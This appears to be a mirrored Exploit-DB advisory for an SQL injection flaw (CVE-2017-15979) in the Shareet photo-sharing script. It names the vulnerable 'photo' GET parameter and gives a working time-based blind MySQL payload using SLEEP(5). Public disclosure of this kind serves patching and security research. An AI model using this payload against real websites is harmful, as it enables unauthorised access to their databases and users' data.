Shareet – ‘photo’ SQL Injection

  • 作者: Ihsan Sencan
    日期: 2017-10-30
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/43080/
  • # # # # # 
    # Exploit Title: Shareet - Photo Sharing Social Network - SQL Injection
    # Dork: N/A
    # Date: 30.10.2017
    # Vendor Homepage: https://odallated.com/
    # Software Link: https://www.codester.com/items/4910/shareet-photo-sharing-social-network
    # Demo: https://odallated.com/shareet/demo/
    # Version: N/A
    # Category: Webapps
    # Tested on: WiN7_x64/KaLiLinuX_x64
    # CVE: CVE-2017-15979
    # # # # #
    # Exploit Author: Ihsan Sencan
    # Author Web: http://ihsan.net
    # Author Social: @ihsansencan
    # # # # #
    # Description:
    # The vulnerability allows an attacker to inject sql commands....
    # 
    # Proof of Concept: 
    # 
    # http://localhost/[PATH]/?photo=[SQL]
    # 
    # Parameter: photo (GET)
    # Type: AND/OR time-based blind
    # Title: MySQL >= 5.0.12 AND time-based blind
    # Payload: photo=saSihSiRf1E' AND SLEEP(5) AND 'DUqs'='DUqs
    # 
    # Etc..
    # # # # #